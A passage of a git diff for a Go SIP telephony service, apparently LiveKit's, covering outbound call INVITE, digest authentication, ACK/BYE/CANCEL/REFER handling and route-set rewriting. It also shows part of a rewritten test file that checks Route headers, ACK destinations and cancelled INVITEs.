bye.AppendHeader(sip.NewHeader(k, v)) + } + } + _ = cli.WriteRequest(bye) + } + return + case <-tx.Done(): + return + case <-timer.C: + return + } + } +} + +func (c *outboundCall) stopSIP(ctx context.Context, t stats.Termination, headers map[string]string) { + termCtx, cancel := context.WithCancel(context.Background()) // Do not use ctx + defer cancel() + go func() { + select { + case <-termCtx.Done(): + return + case <-time.After(5 * time.Minute): + c.mon.CallTerminationFailure() + c.log.Errorw("call failed to terminate after 5 minutes", nil) // To be able to get call IDs + } + }() + + c.mon.CallTerminate(t) + c.cc.Close(ctx, headers) +} + +func (c *outboundCall) setStatus(v CallStatus) { + attr := v.Attribute() + if attr == "" { + return + } + if c.lkRoom == nil { + return + } + r := c.lkRoom.Room() + if r == nil { + return + } + r.LocalParticipant.SetAttributes(map[string]string{ + livekit.AttrSIPCallStatus: attr, + }) +} + +func (c *outboundCall) setExtraAttrs(hdrToAttr map[string]string, opts livekit.SIPHeaderOptions, cc Signaling, hdrs Headers) { + extra := HeadersToAttrs(nil, hdrToAttr, opts, cc, hdrs) + if c.lkRoom != nil && len(extra) != 0 { + room := c.lkRoom.Room() + if room != nil { + room.LocalParticipant.SetAttributes(extra) + } else { + c.log.Warnw("could not set attributes on nil room", nil, "attrs", extra) + } + } +} + +func (c *outboundCall) sipSignal(ctx context.Context, tid traceid.ID) error { + ctx, span := Tracer.Start(ctx, "sip.outbound.sipSignal") + defer span.End() + + if c.sipConf.ringingTimeout > 0 { + var cancel func() + ctx, cancel = context.WithTimeout(ctx, c.sipConf.ringingTimeout) + defer cancel() + } + + ctx, cancel := context.WithCancel(ctx) + defer cancel() + go func() { + select { + case <-ctx.Done(): + // parent context cancellation or success + return + case <-c.Disconnected(): + case <-c.Closed(): + } + cancel() + }() + + sdpOfferData, err := c.media.GenerateOffer() + if err != nil { + return err + } + c.mon.SDPSize(len(sdpOfferData), true, false) + c.log.Debugw("SDP offer", "sdp", string(sdpOfferData)) + joinDur := c.mon.JoinDur() + + c.mon.InviteReq() + c.sigTs.InviteTime = time.Now() + + ringing := false + sdpResp, err := c.cc.Invite(ctx, c.sipConf.user, c.sipConf.pass, c.sipConf.headers, sdpOfferData, func(code sip.StatusCode, hdrs Headers) { + if code == sip.StatusOK { + return // is set separately + } + if code == sip.StatusTrying && c.sigTs.TryingTime.IsZero() { + c.sigTs.TryingTime = time.Now() + } + if !ringing && code >= sip.StatusRinging && code < sip.StatusOK { + ringing = true + c.sigTs.RingingTime = time.Now() + c.setStatus(CallRinging) + } + c.setExtraAttrs(nil, 0, nil, hdrs) + }) + // Update SIPCallInfo with the SIP Call-ID after Invite + if sipCallID := c.cc.SIPCallID(); sipCallID != "" { + c.state.DeferUpdate(func(info *livekit.SIPCallInfo) { + info.SipCallId = sipCallID + // Set callidfull in participant attributes for backwards compatibility + if info.ParticipantAttributes == nil { + info.ParticipantAttributes = make(map[string]string) + } + info.ParticipantAttributes[AttrSIPCallIDFull] = sipCallID + }) + } + if err != nil { + // TODO: should we retry? maybe new offer will work + var e *livekit.SIPStatus + if errors.As(err, &e) { + c.mon.InviteError(statusName(int(e.Code))) + c.state.DeferUpdate(func(info *livekit.SIPCallInfo) { + info.CallStatusCode = e + }) + } else { + c.mon.InviteError("other") + } + c.cc.Close(ctx, nil) + c.log.Infow("SIP invite failed", "error", err) + return err + } + c.sigTs.AcceptTime = time.Now() + c.mon.SDPSize(len(sdpResp), false, true) + c.log.Debugw("SDP answer", "sdp", string(sdpResp)) + + c.log = LoggerWithHeaders(c.log, c.cc) + + err = c.media.ProcessAnswer(sdpResp) + if err != nil { + return err + } + + c.mon.InviteAccept() + err = c.cc.AckInviteOK(ctx) + if err != nil { + c.log.Infow("SIP accept failed", "error", err) + return err + } + c.sigTs.AckTime = time.Now() + joinDur() + + if err := ctx.Err(); err != nil { + // Aborted while the callee answered: the 200 is ACKed, so error out to + // tear the dialog down with a BYE instead of leaking a zombie call. + c.log.Infow("outbound call answered after abort; hanging up", "error", err) + return err + } + + c.setExtraAttrs(c.sipConf.headersToAttrs, c.sipConf.includeHeaders, c.cc, nil) + audio := c.media.NegotiatedAudio() + if audio == nil { + return fmt.Errorf("call media does not have negotiated audio") + } + + c.state.DeferUpdate(func(info *livekit.SIPCallInfo) { + info.AudioCodec = audio.Codec.Info().SDPName + if r := c.lkRoom.Room(); r != nil { + info.ParticipantAttributes = r.LocalParticipant.Attributes() // clones + } + }) + + return nil +} + +func (c *outboundCall) transferCall(ctx context.Context, transferTo string, headers map[string]string, dialtone bool) (transferID string, retErr error) { + ctx, span := Tracer.Start(ctx, "sip.outbound.transferCall") + defer span.End() + var err error + + transferID = c.state.StartTransfer(transferTo) + defer func() { + c.state.EndTransfer(transferID, retErr) + }() + + if dialtone && c.started.IsBroken() && !c.stopped.IsBroken() { + const ringVolume = math.MaxInt16 / 2 + rctx, rcancel := context.WithCancel(ctx) + defer rcancel() + + // Mute the room audio to the SIP participant. + _ = c.lkRoom.WriteOutboundAudioTo(nil) // Not closing mp anchor + + defer func() { + if retErr != nil && !c.stopped.IsBroken() { + c.lkRoom.WriteOutboundAudioTo(c.media.GetOutboundAudioWriter()) + } + }() + + go func() { + err := tones.Play(rctx, c.media.GetOutboundAudioWriter(), ringVolume, tones.ETSIRinging) + if err != nil && !errors.Is(err, context.Canceled) && !errors.Is(err, context.DeadlineExceeded) { + c.log.Infow("cannot play dial tone", "error", err) + } + }() + } + + err = c.cc.transferCall(ctx, transferTo, headers, c.closing.Watch()) + if err != nil { + c.log.Infow("outbound call failed to transfer", "error", err, "transferTo", transferTo) + return transferID, err + } + + c.log.Infow("outbound call transferred", "transferTo", transferTo) + + // Give time for the peer to hang up first, but hang up ourselves if this doesn't happen within 1 second + time.AfterFunc(referByeTimeout, func() { + c.CloseWith(ctx, EndCall{ + Status: CallHangup, + Term: stats.Success("call transferred"), + Reason: livekit.DisconnectReason_CLIENT_INITIATED, + }) + }) + + return transferID, nil +} + +func (c *Client) newOutbound(log logger.Logger, id LocalTag, uri *sip.Uri, to *sip.ToHeader, from *sip.FromHeader, contact URI, getHeaders setHeadersFunc) *sipOutbound { + contactHeader := &sip.ContactHeader{ + Address: *contact.GetContactURI(), + } + from.Params.Add("tag", string(id)) + return &sipOutbound{ + log: log, + c: c, + id: id, + callID: guid.HashedID(string(id)), + uri: uri, + to: to, + from: from, + contact: contactHeader, + referDone: make(chan error), // Do not buffer the channel to avoid reading a result for an old request + nextCSeq: 1, + getHeaders: getHeaders, + } +} + +type sipOutbound struct { + log logger.Logger + c *Client + id LocalTag + uri *sip.Uri + from *sip.FromHeader + to *sip.ToHeader + contact *sip.ContactHeader + routeHeaders []string + + mu sync.RWMutex + tag RemoteTag + callID string + invite *sip.Request + inviteOk *sip.Response + nextCSeq uint32 + getHeaders setHeadersFunc + + referCseq uint32 + referDone chan error + latestInviteCSeq uint32 +} + +func (c *sipOutbound) From() sip.Uri { + return c.from.Address +} + +func (c *sipOutbound) To() sip.Uri { + c.mu.RLock() + defer c.mu.RUnlock() + if c.to == nil { + return sip.Uri{} + } + return c.to.Address +} + +func (c *sipOutbound) Address() sip.Uri { + c.mu.RLock() + defer c.mu.RUnlock() + if c.invite == nil { + return sip.Uri{} + } + return c.invite.Recipient +} + +func (c *sipOutbound) ID() LocalTag { + return c.id +} + +func (c *sipOutbound) Tag() RemoteTag { + c.mu.RLock() + defer c.mu.RUnlock() + return c.tag +} + +func (c *sipOutbound) SIPCallID() string { + c.mu.RLock() + defer c.mu.RUnlock() + return c.callID +} + +func (c *sipOutbound) InviteCSeq() uint32 { + c.mu.RLock() + defer c.mu.RUnlock() + return c.latestInviteCSeq +} + +func (c *sipOutbound) RecordInvite(cseq uint32) { + c.mu.Lock() + defer c.mu.Unlock() + if cseq > c.latestInviteCSeq { + c.latestInviteCSeq = cseq + } +} + +// Returns the original SDP offer. +func (c *sipOutbound) OwnSDP() []byte { + c.mu.RLock() + defer c.mu.RUnlock() + if c.invite == nil { + return nil + } + body := c.invite.Body() + if len(body) == 0 { + return nil + } + out := make([]byte, len(body)) + copy(out, body) + return out +} + +func (c *sipOutbound) RemoteHeaders() Headers { + c.mu.RLock() + defer c.mu.RUnlock() + if c.inviteOk == nil { + return nil + } + return c.inviteOk.Headers() +} + +func (c *sipOutbound) Invite(ctx context.Context, user, pass string, headers map[string]string, sdpOffer []byte, setState sipRespFunc) ([]byte, error) { + ctx, span := Tracer.Start(ctx, "sip.outbound.Invite") + defer span.End() + c.mu.Lock() + defer c.mu.Unlock() + + var ( + sipHeaders Headers + authHeader = "" + authHeaderRespName string + req *sip.Request + resp *sip.Response + err error + ) + if keys := maps.Keys(headers); len(keys) != 0 { + sort.Strings(keys) + for _, key := range keys { + sipHeaders = append(sipHeaders, sip.NewHeader(key, headers[key])) + } + } +authLoop: + for try := 0; ; try++ { + if try >= 5 { + return nil, psrpc.NewError(psrpc.FailedPrecondition, ErrAuthMaxRetry) + } + req, resp, err = c.attemptInvite(ctx, sip.CallIDHeader(c.callID), sdpOffer, authHeaderRespName, authHeader, sipHeaders, setState) + if err != nil { + return nil, err + } + var authHeaderName string + switch resp.StatusCode { + case sip.StatusOK: + break authLoop + default: + st := &livekit.SIPStatus{ + Code: livekit.SIPStatusCode(resp.StatusCode), + Status: resp.Reason, + } + if blocked := carrierBlockFromResponse(resp, st); blocked != nil { + return nil, fmt.Errorf("INVITE blocked by carrier: %w", blocked) + } + return nil, fmt.Errorf("unexpected status from INVITE response: %w", st) + case sip.StatusBadRequest, + sip.StatusNotFound, + sip.StatusTemporarilyUnavailable, + sip.StatusNotAcceptableHere, + sip.StatusBusyHere: + st := &livekit.SIPStatus{ + Code: livekit.SIPStatusCode(resp.StatusCode), + Status: resp.Reason, + } + if body := resp.Body(); len(body) != 0 { + st.Status = string(body) + } else if s := resp.GetHeader("X-Twilio-Error"); s != nil { + st.Status = s.Value() + } + if blocked := carrierBlockFromResponse(resp, st); blocked != nil { + return nil, fmt.Errorf("INVITE blocked by carrier: %w", blocked) + } + return nil, fmt.Errorf("INVITE failed: %w", st) + case sip.StatusUnauthorized: + authHeaderName = "WWW-Authenticate" + authHeaderRespName = "Authorization" + case sip.StatusProxyAuthRequired: + authHeaderName = "Proxy-Authenticate" + authHeaderRespName = "Proxy-Authorization" + } + c.log.Infow("auth requested", "status", resp.StatusCode, "body", string(resp.Body())) + // auth required + if user == "" || pass == "" { + return nil, psrpc.NewError(psrpc.FailedPrecondition, ErrAuthMissingCreds) + } + headerVal := resp.GetHeader(authHeaderName) + if headerVal == nil { + return nil, psrpc.NewError(psrpc.FailedPrecondition, ErrAuthNoHeader) + } + challengeStr := headerVal.Value() + challenge, err := digest.ParseChallenge(challengeStr) + if err != nil { + return nil, psrpc.NewErrorf(psrpc.Internal, "invalid challenge %q: %v", challengeStr, err) + } + toHeader := resp.To() + if toHeader == nil { + return nil, psrpc.NewErrorf(psrpc.Internal, "no 'To' header on Response") + } + + cred, err := digest.Digest(challenge, digest.Options{ + Method: req.Method.String(), + URI: toHeader.Address.String(), + Username: user, + Password: pass, + }) + if err != nil { + return nil, err + } + authHeader = cred.String() + // Try again with a computed digest + } + + c.invite, c.inviteOk = req, resp + toHeader := resp.To() + if toHeader == nil { + return nil, psrpc.NewErrorf(psrpc.Internal, "no To header in INVITE response") + } + var ok bool + c.tag, ok = getTagFrom(toHeader.Params) + if !ok { + return nil, psrpc.NewErrorf(psrpc.Internal, "no tag in To header in INVITE response") + } + + applyInviteResponse(req, resp) + return c.inviteOk.Body(), nil +} + +// applyInviteResponse rewrites the INVITE request in place so ACK/BYE built from +// it reach the answering party: recipient from Contact, route set from +// Record-Route, and the cached destination flushed when either changed. We don't +// plumb the request back to the caller, so we mutate it to update the route set. +func applyInviteResponse(req *sip.Request, resp *sip.Response) { + flushDestinationCache := false + if cont := resp.Contact(); cont != nil { + newContact := cont.Address + if newContact.Port == 0 { + newContact.Port = 5060 + } + oldRecipient := req.Recipient + if oldRecipient.Port == 0 { + oldRecipient.Port = 5060 + } + flushDestinationCache = !strings.EqualFold(oldRecipient.Host, newContact.Host) || oldRecipient.Port != newContact.Port + req.Recipient = newContact + } + + // We currently don't plumb the request back to caller to construct the ACK with. + // Thus, we need to modify the request to update any route sets. + for req.RemoveHeader("Route") { + flushDestinationCache = true + } + for _, hdr := range resp.GetHeaders("Record-Route") { + flushDestinationCache = true + req.PrependHeader(&sip.RouteHeader{Address: hdr.(*sip.RecordRouteHeader).Address}) + } + + if flushDestinationCache { + req.MessageData.SetDestination("") // Undo destination fixing + } +} + +func (c *sipOutbound) AcceptBye(req *sip.Request, tx sip.ServerTransaction) { + _ = tx.Respond(sip.NewResponseFromRequest(req, 200, "OK", nil)) + c.mu.Lock() + defer c.mu.Unlock() + c.drop() // mark as closed +} + +func (c *sipOutbound) AckInviteOK(ctx context.Context) error { + ctx, span := Tracer.Start(ctx, "sip.outbound.AckInviteOK") + defer span.End() + c.mu.Lock() + defer c.mu.Unlock() + if c.invite == nil || c.inviteOk == nil { + return psrpc.NewErrorf(psrpc.Canceled, "call already closed") + } + return c.c.sipCli.WriteRequest(sip.NewAckRequest(c.invite, c.inviteOk, nil)) +} + +func (c *sipOutbound) attemptInvite(ctx context.Context, callID sip.CallIDHeader, offer []byte, authHeaderName, authHeader string, headers Headers, setState sipRespFunc) (*sip.Request, *sip.Response, error) { + ctx, span := Tracer.Start(ctx, "sip.outbound.attemptInvite") + defer span.End() + req := sip.NewRequest(sip.INVITE, *c.uri) + c.setCSeq(req) + req.RemoveHeader("Call-ID") + req.AppendHeader(&callID) + + req.SetBody(offer) + req.AppendHeader(c.to) + req.AppendHeader(c.from) + req.AppendHeader(c.contact) + + req.AppendHeader(sip.NewHeader("Content-Type", "application/sdp")) + req.AppendHeader(sip.NewHeader("Allow", "INVITE, ACK, CANCEL, BYE, NOTIFY, REFER, MESSAGE, OPTIONS, INFO, SUBSCRIBE")) + + if authHeader != "" { + req.AppendHeader(sip.NewHeader(authHeaderName, authHeader)) + } + for _, h := range headers { + req.AppendHeader(h) + } + + for _, route := range c.routeHeaders { + req.PrependHeader(sip.NewHeader("Route", route)) + } + + tx, err := c.c.sipCli.TransactionRequest(req) + if err != nil { + return nil, nil, err + } + handedOff := false + defer func() { + if !handedOff { + tx.Terminate() + } + }() + + // Log the actual local port used for TCP connections from the DialPort range + if req.Transport() == "TCP" { + // Type-assert to *sipgo.Client to access the embedded UserAgent + if sipClient, ok := c.c.sipCli.(*sipgo.Client); ok { + if tpl := sipClient.TransportLayer(); tpl != nil { + // Try to get the connection using the destination address + // The connection should be available after TransactionRequest creates it + if dest := req.Destination(); dest != "" { + if conn, err := tpl.GetConnection("tcp", dest); err == nil && conn != nil { + if tcpAddr, ok := conn.LocalAddr().(*net.TCPAddr); ok && tcpAddr != nil { + c.log.Debugw("TCP connection using port on cloud-sip side", "port", tcpAddr.Port) + } + } + } + } + } + } + + resp, err := sipResponse(ctx, tx, c.c.closing.Watch(), setState) + if err != nil && resp == nil && (ctx.Err() != nil || c.c.closing.IsBroken()) { + // Cancelled: return now, but watch for a racing 2xx in the background. + handedOff = true + go watchCancelledInvite(c.log, c.c.sipCli, c.getHeaders, req, tx) + } + return req, resp, err +} + +func (c *sipOutbound) WriteRequest(req *sip.Request) error { + return c.c.sipCli.WriteRequest(req) +} + +func (c *sipOutbound) Transaction(req *sip.Request) (sip.ClientTransaction, error) { + return c.c.sipCli.TransactionRequest(req) +} + +func (c *sipOutbound) setCSeq(req *sip.Request) { + setCSeq(req, c.nextCSeq) + + c.nextCSeq++ +} + +func (c *sipOutbound) sendBye(ctx context.Context, headers map[string]string) { + ctx = context.WithoutCancel(ctx) + if c.invite == nil || c.inviteOk == nil { + return // call wasn't established + } + ctx, span := Tracer.Start(ctx, "sip.outbound.sendBye") + defer span.End() + r := sip.NewByeRequest(c.invite, c.inviteOk, nil) + r.AppendHeader(sip.NewHeader("User-Agent", "LiveKit")) + if c.getHeaders != nil { + for k, v := range c.getHeaders(nil) { + r.AppendHeader(sip.NewHeader(k, v)) + } + } + for k, v := range headers { + r.AppendHeader(sip.NewHeader(k, v)) + } + if c.c.closing.IsBroken() { + // do not wait for a response + _ = c.WriteRequest(r) + return + } + c.setCSeq(r) + c.drop() + sendBye(ctx, c.log, c, r) +} + +func (c *sipOutbound) sendCancel(ctx context.Context, headers map[string]string) { + ctx = context.WithoutCancel(ctx) + if c.invite == nil { + return + } + ctx, span := Tracer.Start(ctx, "sip.outbound.sendCancel") + defer span.End() + r := sip.NewCancelRequest(c.invite) + r.AppendHeader(sip.NewHeader("User-Agent", "LiveKit")) + if c.getHeaders != nil { + for k, v := range c.getHeaders(nil) { + r.AppendHeader(sip.NewHeader(k, v)) + } + } + for k, v := range headers { + r.AppendHeader(sip.NewHeader(k, v)) + } + _ = c.WriteRequest(r) + c.drop() +} + +func (c *sipOutbound) drop() { + c.invite = nil + c.inviteOk = nil + c.nextCSeq = 0 +} + +func (c *sipOutbound) Drop() { + c.mu.Lock() + defer c.mu.Unlock() + c.drop() +} + +func (c *sipOutbound) transferCall(ctx context.Context, transferTo string, headers map[string]string, callDone <-chan struct{}) error { + c.mu.Lock() + + if c.invite == nil || c.inviteOk == nil { + c.mu.Unlock() + return psrpc.NewErrorf(psrpc.FailedPrecondition, "can't transfer non established call") // call wasn't established + } + + if c.c.closing.IsBroken() { + c.mu.Unlock() + return psrpc.NewErrorf(psrpc.FailedPrecondition, "can't transfer hung up call") + } + + if c.getHeaders != nil { + headers = c.getHeaders(headers) + } + + req := NewReferRequest(c.invite, c.inviteOk, c.contact, transferTo, headers) + c.setCSeq(req) + cseq := req.CSeq() + + if cseq == nil { + c.mu.Unlock() + return psrpc.NewErrorf(psrpc.Internal, "missing CSeq header in REFER request") + } + c.referCseq = cseq.SeqNo + c.mu.Unlock() + + _, err := sendRefer(ctx, c, req, c.c.closing.Watch()) + if err != nil { + return err + } + + return waitReferResult(ctx, c.log, callDone, c.referDone) +} + +func (c *sipOutbound) handleNotify(req *sip.Request, tx sip.ServerTransaction) error { + info, err := handleNotify(req) + if err != nil { + c.log.Infow("error parsing NOTIFY request", "error", err) + + return err + } + + c.log.Infow("handling NOTIFY", "method", info.Method, "status", info.Status, + "reason", info.Reason, "cseq", info.CSeq, "subscription", info.Sub.String()) + + switch info.Method { + default: + return nil + case sip.REFER: + // Read referCseq under the lock, then release it before handing the + // result over. That handoff can park on the unbuffered channel for + // notifyAckTimeout, and while we hold the read lock every caller of + // c.mu.Lock() waits: AcceptBye and Close among them, so an arriving BYE + // would be what we blocked. + c.mu.RLock() + referCseq := c.referCseq + c.mu.RUnlock() + handleReferNotify(info, referCseq, c.referDone) + return nil + } +} + +func (c *sipOutbound) Close(ctx context.Context, headers map[string]string) { + ctx = context.WithoutCancel(ctx) + c.mu.Lock() + defer c.mu.Unlock() + if c.inviteOk != nil { + c.sendBye(ctx, headers) + } else if c.invite != nil { + c.sendCancel(ctx, headers) + } else { + c.drop() + } +} diff --git a/pkg/sip/outbound_test.go b/pkg/sip/outbound_test.go index 4b5556014..e76ace6f5 100644 --- a/pkg/sip/outbound_test.go +++ b/pkg/sip/outbound_test.go @@ -1,652 +1,652 @@ -// Copyright 2023 LiveKit, Inc. -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package sip - -import ( - "context" - "fmt" - "testing" - "time" - - "github.com/stretchr/testify/require" - "google.golang.org/protobuf/types/known/durationpb" - - "github.com/livekit/protocol/livekit" - "github.com/livekit/protocol/logger" - "github.com/livekit/protocol/rpc" - "github.com/livekit/sipgo" - "github.com/livekit/sipgo/sip" -) - -// recordingSIPClient is a SIPClient that records the requests written to it. -type recordingSIPClient struct { - reqs []*sip.Request -} - -func (c *recordingSIPClient) TransactionRequest(req *sip.Request, _ ...sipgo.ClientRequestOption) (sip.ClientTransaction, error) { - return nil, nil -} - -func (c *recordingSIPClient) WriteRequest(req *sip.Request, _ ...sipgo.ClientRequestOption) error { - c.reqs = append(c.reqs, req) - return nil -} - -func (c *recordingSIPClient) Close() error { return nil } - -func (c *recordingSIPClient) methods() []sip.RequestMethod { - var m []sip.RequestMethod - for _, r := range c.reqs { - m = append(m, r.Method) - } - return m -} - -func TestOutboundRouteHeaderWithRecordRoute(t *testing.T) { - // Make sure the ACK doesn't carry over initial Route header. - // Steps: - // 1. Create a SIP participant with an initial Route header. - // 2. Make sure the Route header is properly populates in INVITE. - // 3. Fake a 200 response with Record Route headers. - // 4. Make sure the ACK doesn't carry over initial Route header.. - - // Plumbing - initialRouteURI := sip.Uri{Host: "initial-header.com", UriParams: sip.HeaderParams{{"lr", ""}}} - addedRouteURI := sip.Uri{Host: "added-header.com", UriParams: sip.HeaderParams{{"lr", ""}}} - initialRouteHeader := sip.RouteHeader{Address: initialRouteURI} - addedRouteHeader := sip.RouteHeader{Address: addedRouteURI} - h := NewTestSIP(t, TestSIPConfig{}) - req := MinimalCreateSIPParticipantRequest() - req.Headers = map[string]string{ - "Route": initialRouteHeader.Value(), - } - ctx, cancel := context.WithCancel(context.Background()) - defer cancel() - go func() { // Allow test to continue - _, err := h.Client.CreateSIPParticipant(ctx, req) - if err != nil && ctx.Err() == nil { - // Only log error if context wasn't cancelled - t.Logf("CreateSIPParticipant error: %v", err) - } - }() - - t.Log("Waiting for INVITE to be sent") - tr := h.WaitTransaction(t, time.Second, req.SipCallId, "") - - t.Log("Received INVITE, validating") - - require.NotNil(t, tr) - require.NotNil(t, tr.req) - require.NotNil(t, tr.transaction) - require.Equal(t, sip.INVITE, tr.req.Method) - routeHeaders := tr.req.GetHeaders("Route") - require.Equal(t, 1, len(routeHeaders)) - require.Equal(t, initialRouteHeader.Value(), routeHeaders[0].Value()) - - t.Log("INVITE okay, sending fake response") - - response := sip.NewSDPResponseFromRequest(tr.req, []byte(testMinimalSDP)) - require.NotNil(t, response, "NewSDPResponseFromRequest returned nil") - response.RemoveHeader("Record-Route") - rr1 := sip.RecordRouteHeader{Address: addedRouteURI} - rr2 := sip.RecordRouteHeader{Address: initialRouteURI} - response.AppendHeader(&rr1) - response.AppendHeader(&rr2) - tr.transaction.SendResponse(response) - - t.Log("Wait for ACK to be sent") - ackReq := h.WaitRequest(t, time.Second, req.SipCallId, "") - - t.Log("Received ACK, validating") - - require.NotNil(t, ackReq) - require.NotNil(t, ackReq.req) - require.Equal(t, sip.ACK, ackReq.req.Method) - require.Equal(t, tr.req.CSeq().SeqNo, ackReq.req.CSeq().SeqNo) - require.Equal(t, tr.req.CallID(), ackReq.req.CallID()) - ackRouteHeaders := ackReq.req.GetHeaders("Route") - require.Equal(t, 2, len(ackRouteHeaders)) // We expect this to fail prior to fixing our bug! - require.Equal(t, initialRouteHeader.Value(), ackRouteHeaders[0].Value()) - require.Equal(t, addedRouteHeader.Value(), ackRouteHeaders[1].Value()) - - cancel() -} - -const ( - // Simulates sipgo caching a DNS-resolved transport target on the INVITE. - testInviteCachedDestination = "10.0.0.1:5060" - testInviteTargetHost = "sip.example.com" -) - -// waitOutboundINVITEAndACK drives CreateSIPParticipant until an INVITE is sent, fakes a 200 OK, -// and returns the captured ACK. mutate is called after the INVITE is received and before the -// 200 OK is delivered to the transaction. -func waitOutboundINVITEAndACK( - t *testing.T, - clientCfg TestSIPConfig, - participantReq *rpc.InternalCreateSIPParticipantRequest, - mutate func(tr *transactionRequest, resp *sip.Response), -) (*testSIPHarness, *transactionRequest, *sipRequest) { - - h := NewTestSIP(t, clientCfg) - ctx, cancel := context.WithCancel(context.Background()) - t.Cleanup(cancel) - - go func() { - _, err := h.Client.CreateSIPParticipant(ctx, participantReq) - if err != nil && ctx.Err() == nil { - t.Logf("CreateSIPParticipant error: %v", err) - t.Fail() - } - }() - - tr := h.WaitTransaction(t, time.Second, participantReq.SipCallId, "") - require.Equal(t, sip.INVITE, tr.req.Method) - - resp := sip.NewSDPResponseFromRequest(tr.req, []byte(testMinimalSDP)) - require.NotNil(t, resp) - mutate(tr, resp) - require.NoError(t, tr.transaction.SendResponse(resp)) - - ackReq := h.WaitRequest(t, time.Second, participantReq.SipCallId, "") - require.Equal(t, sip.ACK, ackReq.req.Method) - return h, tr, ackReq -} - -// answerBYE waits for the call to send a BYE and responds 200 OK. -// If we don't explicitly answer the BYE, then a test might hang, as sipOutbound -// expects a response before closing the call. -func answerBYE(t *testing.T, h *testSIPHarness, timeout time.Duration, callID string) { - t.Helper() - - byeTx := h.WaitTransaction(t, timeout, callID, "") - require.Equal(t, sip.BYE, byeTx.req.Method) - - resp := sip.NewResponseFromRequest(byeTx.req, 200, "OK", nil) - err := byeTx.transaction.SendResponse(resp) - require.NoError(t, err) -} - -func TestOutboundACKDestinationAfterInviteResponse(t *testing.T) { - t.Run("changed contact flushes stale cached destination", func(t *testing.T) { - // Without the fix, NewAckRequest copies the INVITE's cached DNS destination - // (10.0.0.1:5060) even though the 200 OK Contact points elsewhere. - const ( - contactHost = "10.0.0.99" - contactPort = 5080 - ) - contactURI := sip.Uri{Host: contactHost, Port: contactPort} - - _, _, ackReq := waitOutboundINVITEAndACK(t, TestSIPConfig{}, MinimalCreateSIPParticipantRequest(), func(tr *transactionRequest, resp *sip.Response) { - require.Equal(t, testInviteTargetHost, tr.req.Recipient.Host) - tr.req.SetDestination(testInviteCachedDestination) - resp.AppendHeader(&sip.ContactHeader{Address: contactURI}) - }) - require.NotNil(t, ackReq) - - require.Equal(t, contactHost, ackReq.req.Recipient.Host) - require.Equal(t, contactPort, ackReq.req.Recipient.Port) - require.Equal(t, fmt.Sprintf("%s:%d", contactHost, contactPort), ackReq.req.Destination()) - require.NotEqual(t, testInviteCachedDestination, ackReq.req.Destination()) - }) - - t.Run("unchanged contact keeps cached destination", func(t *testing.T) { - contactURI := sip.Uri{Host: testInviteTargetHost, Port: 5060} - - _, _, ackReq := waitOutboundINVITEAndACK(t, TestSIPConfig{}, MinimalCreateSIPParticipantRequest(), func(tr *transactionRequest, resp *sip.Response) { - tr.req.SetDestination(testInviteCachedDestination) - resp.AppendHeader(&sip.ContactHeader{Address: contactURI}) - }) - require.NotNil(t, ackReq) - - require.Equal(t, testInviteTargetHost, ackReq.req.Recipient.Host) - require.Equal(t, testInviteCachedDestination, ackReq.req.Destination()) - }) - - t.Run("record route rebuild flushes stale cached destination", func(t *testing.T) { - // Route set changes must invalidate the cached destination even when Contact - // matches the original INVITE target. - proxyURI := sip.Uri{Host: "proxy.example.com", Port: 5060, UriParams: sip.HeaderParams{{"lr", ""}}} - contactURI := sip.Uri{Host: testInviteTargetHost, Port: 5060} - - _, _, ackReq := waitOutboundINVITEAndACK(t, TestSIPConfig{}, MinimalCreateSIPParticipantRequest(), func(tr *transactionRequest, resp *sip.Response) { - tr.req.SetDestination(testInviteCachedDestination) - resp.AppendHeader(&sip.ContactHeader{Address: contactURI}) - resp.AppendHeader(&sip.RecordRouteHeader{Address: proxyURI}) - }) - require.NotNil(t, ackReq) - - require.Equal(t, testInviteTargetHost, ackReq.req.Recipient.Host) - require.Equal(t, "proxy.example.com:5060", ackReq.req.Destination()) - require.NotEqual(t, testInviteCachedDestination, ackReq.req.Destination()) - }) -} - -// sipResponse returns immediately on a cancelled context, sending a CANCEL. -func TestSIPResponseCancelReturnsImmediately(t *testing.T) { - tx := &testSIPClientTransaction{ - log: logger.NewTestLogger(t), - responses: make(chan *sip.Response), - cancels: make(chan struct{}, 1), - done: make(chan struct{}), - err: make(chan error, 1), - } - ctx, cancel := context.WithCancel(context.Background()) - cancel() - - res, err := sipResponse(ctx, tx, nil, nil) - require.Error(t, err) - require.Nil(t, res) - require.Len(t, tx.cancels, 1, "CANCEL should be sent") -} - -// watchCancelledInvite ACKs and BYEs a 2xx that races in after a CANCEL, and -// stays quiet otherwise. -func TestWatchCancelledInvite(t *testing.T) { - newInvite := func() *sip.Request { - req := sip.NewRequest(sip.INVITE, sip.Uri{User: "callee", Host: "sip.example.com"}) - from := &sip.FromHeader{Address: sip.Uri{User: "caller", Host: "lk"}, Params: sip.NewParams()} - from.Params.Add("tag", "caller-tag") - req.AppendHeader(from) - req.AppendHeader(&sip.ToHeader{Address: sip.Uri{User: "callee", Host: "sip.example.com"}, Params: sip.NewParams()}) - cid := sip.CallIDHeader("call-123") - req.AppendHeader(&cid) - req.AppendHeader(&sip.CSeqHeader{MethodName: sip.INVITE, SeqNo: 1}) - via := &sip.ViaHeader{ProtocolName: "SIP", ProtocolVersion: "2.0", Transport: "UDP", Host: "lk", Port: 5060, Params: sip.NewParams()} - via.Params.Add("branch", "z9hG4bK.test") - req.AppendHeader(via) - return req - } - ok := sip.NewSDPResponseFromRequest(newInvite(), []byte(testMinimalSDP)) - ackBye := []sip.RequestMethod{sip.ACK, sip.BYE} - - for _, tt := range []struct { - name string - resps []*sip.Response - want []sip.RequestMethod - }{ - {"2xx answered", []*sip.Response{ok}, ackBye}, - {"provisional then 2xx", []*sip.Response{sip.NewResponse(sip.StatusRinging, "Ringing"), ok}, ackBye}, - {"non-2xx final", []*sip.Response{sip.NewResponse(sip.StatusRequestTerminated, "Terminated")}, nil}, - } { - t.Run(tt.name, func(t *testing.T) { - tx := &testSIPClientTransaction{log: logger.NewTestLogger(t), responses: make(chan *sip.Response, len(tt.resps)), done: make(chan struct{})} - for _, r := range tt.resps { - tx.responses <- r - } - cli := &recordingSIPClient{} - watchCancelledInvite(logger.NewTestLogger(t), cli, nil, newInvite(), tx) - require.Equal(t, tt.want, 